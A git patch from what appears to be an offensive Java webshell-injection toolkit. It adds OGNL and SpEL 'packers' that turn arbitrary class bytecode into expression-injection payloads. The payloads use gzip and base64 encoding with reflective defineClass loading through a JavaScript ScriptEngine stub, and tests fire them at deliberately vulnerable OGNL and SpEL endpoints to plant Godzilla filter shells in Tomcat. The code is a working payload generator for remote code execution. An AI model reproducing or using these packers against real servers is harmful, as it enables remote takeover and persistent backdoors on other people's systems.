From 6f9ae38addd3ebb7e75e53cf858666e4f531c2db Mon Sep 17 00:00:00 2001 From: ReaJason Date: Tue, 22 Jul 2025 00:45:33 +0800 Subject: [PATCH] feat: support OGNL SpringUtils packers --- .../integration/ShellAssertionTool.java | 4 +-- .../Tomcat8ExpressionContainerTest.java | 8 +++-- .../com/reajason/javaweb/packer/Packers.java | 8 +++++ .../javaweb/packer/ognl/OGNLPacker.java | 12 ++----- .../packer/ognl/OGNLScriptEnginePacker.java | 19 +++++++++++ .../ognl/OGNLSpringIOUtilsGzipPacker.java | 33 +++++++++++++++++++ ...Packer.java => OGNLSpringUtilsPacker.java} | 0 .../scriptengine/ScriptEnginePacker.java | 1 + .../spel/SpELSpringIOUtilsGzipPacker.java | 4 +-- packer/src/main/resources/shell.js | 5 +-- vul/vul-webapp-deserialize/build.gradle.kts | 2 ++ .../src/test/java/OgnlServletTest.java | 17 ++++++++++ 12 files changed, 95 insertions(+), 18 deletions(-) create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLScriptEnginePacker.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringIOUtilsGzipPacker.java rename packer/src/main/java/com/reajason/javaweb/packer/ognl/{OGNLSpringIOUtilsPacker.java => OGNLSpringUtilsPacker.java} (100%) create mode 100644 vul/vul-webapp-expression/src/test/java/OgnlServletTest.java diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 95c4b6eb..3a244601 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -324,8 +324,8 @@ public class ShellAssertionTool { } case ScriptEngine -> VulTool.postData(url + "/js", content); case EL -> VulTool.postData(url + "/el", content); - case SpEL, SpELSpringIOUtils -> VulTool.postData(url + "/spel", content); - case OGNL -> VulTool.postData(url + "/ognl", content); + case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postData(url + "/spel", content); + case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postData(url + "/ognl", content); case MVEL -> VulTool.postData(url + "/mvel", content); case JXPath -> VulTool.postData(url + "/jxpath", content); case JEXL -> VulTool.postData(url + "/jexl2", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java index 5745e691..0b01a15c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java @@ -43,9 +43,13 @@ public class Tomcat8ExpressionContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL), - arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNL), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringUtils), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL), - arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpEL), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringUtils), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator), diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index dbf1146c..4c9f4958 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -31,6 +31,9 @@ import com.reajason.javaweb.packer.jsp.JspxPacker; import com.reajason.javaweb.packer.jxpath.JXPathPacker; import com.reajason.javaweb.packer.mvel.MVELPacker; import com.reajason.javaweb.packer.ognl.OGNLPacker; +import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker; +import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker; +import com.reajason.javaweb.packer.ognl.OGNLSpringUtilsPacker; import com.reajason.javaweb.packer.rhino.RhinoPacker; import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker; import com.reajason.javaweb.packer.spel.SpELPacker; @@ -83,7 +86,12 @@ public enum Packers { * EL */ EL(new ELPacker()), + OGNL(new OGNLPacker()), + OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class), + OGNLSpringUtils(new OGNLSpringUtilsPacker(), OGNLPacker.class), + OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class), + MVEL(new MVELPacker()), Aviator(new AviatorPacker()), JXPath(new JXPathPacker()), diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLPacker.java index d531cbdd..8ec5f253 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLPacker.java @@ -1,19 +1,11 @@ package com.reajason.javaweb.packer.ognl; -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; -import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.AggregatePacker; /** * @author ReaJason * @since 2024/12/14 */ -public class OGNLPacker implements Packer { - String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')"; +public class OGNLPacker implements AggregatePacker { - @Override - public String pack(ClassPackerConfig config) { - String script = Packers.ScriptEngine.getInstance().pack(config); - return template.replace("{{script}}", script); - } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLScriptEnginePacker.java new file mode 100644 index 00000000..13907e3e --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLScriptEnginePacker.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.packer.ognl; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class OGNLScriptEnginePacker implements Packer { + String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')"; + + @Override + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); + return template.replace("{{script}}", script); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringIOUtilsGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringIOUtilsGzipPacker.java new file mode 100644 index 00000000..4464de4d --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringIOUtilsGzipPacker.java @@ -0,0 +1,33 @@ +package com.reajason.javaweb.packer.ognl; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.zip.GZIPOutputStream; + +/** + * @author ReaJason + * @since 2025/7/7 + */ +public class OGNLSpringIOUtilsGzipPacker implements Packer { + String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.apache.commons.io.IOUtils@toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()"; + + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + return template.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes()))); + } + + public static byte[] gzipCompress(byte[] data) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + try (GZIPOutputStream gzip = new GZIPOutputStream(out)) { + gzip.write(data); + } + return out.toByteArray(); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringIOUtilsPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringUtilsPacker.java similarity index 100% rename from packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringIOUtilsPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringUtilsPacker.java diff --git a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java index 10af2b6e..eeef246e 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java @@ -28,6 +28,7 @@ public class ScriptEnginePacker implements Packer { @SneakyThrows public String pack(ClassPackerConfig config) { return jsTemplate + .replace("{{className}}", config.getClassName()) .replace("{{base64Str}}", config.getClassBytesBase64Str()) .replace("\n", "") .replaceAll("(?m)^[ \t]+|[ \t]+$", "") diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipPacker.java index 33a6f58c..69438805 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipPacker.java @@ -3,10 +3,10 @@ package com.reajason.javaweb.packer.spel; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; import java.io.ByteArrayOutputStream; import java.io.IOException; -import java.util.Base64; import java.util.zip.GZIPOutputStream; @@ -21,7 +21,7 @@ public class SpELSpringIOUtilsGzipPacker implements Packer { @SneakyThrows public String pack(ClassPackerConfig config) { return template.replace("{{className}}", config.getClassName()) - .replace("{{base64Str}}", Base64.getEncoder().encodeToString(gzipCompress(config.getClassBytes()))); + .replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes()))); } public static byte[] gzipCompress(byte[] data) throws IOException { diff --git a/packer/src/main/resources/shell.js b/packer/src/main/resources/shell.js index 3726deb0..40bab10a 100644 --- a/packer/src/main/resources/shell.js +++ b/packer/src/main/resources/shell.js @@ -1,4 +1,5 @@ var base64Str = "{{base64Str}}"; +var className = "{{className}}"; var clsString = java.lang.Class.forName("java.lang.String"); var bytecode; try { @@ -10,7 +11,7 @@ try { } var clsByteArray = (new java.lang.String("a").getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; -var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]); +var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsString, clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); -var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); +var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance(); \ No newline at end of file diff --git a/vul/vul-webapp-deserialize/build.gradle.kts b/vul/vul-webapp-deserialize/build.gradle.kts index e7b55d9b..94e27cf9 100644 --- a/vul/vul-webapp-deserialize/build.gradle.kts +++ b/vul/vul-webapp-deserialize/build.gradle.kts @@ -31,6 +31,8 @@ dependencies { implementation("com.caucho:hessian:4.0.66") providedCompile("javax.servlet:javax.servlet-api:3.1.0") + testImplementation(libs.junit.jupiter) + testRuntimeOnly(libs.junit.platform.launcher) } tasks.war { diff --git a/vul/vul-webapp-expression/src/test/java/OgnlServletTest.java b/vul/vul-webapp-expression/src/test/java/OgnlServletTest.java new file mode 100644 index 00000000..996f1054 --- /dev/null +++ b/vul/vul-webapp-expression/src/test/java/OgnlServletTest.java @@ -0,0 +1,17 @@ +import ognl.Ognl; +import ognl.OgnlContext; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/7/22 + */ +class OgnlServletTest { + + @Test + void test() throws Exception { + OgnlContext context = new OgnlContext(); + Object value = null; + System.out.println(Ognl.getValue("(new java.io.File('.')).list()", context, context.getRoot())); + } +} \ No newline at end of file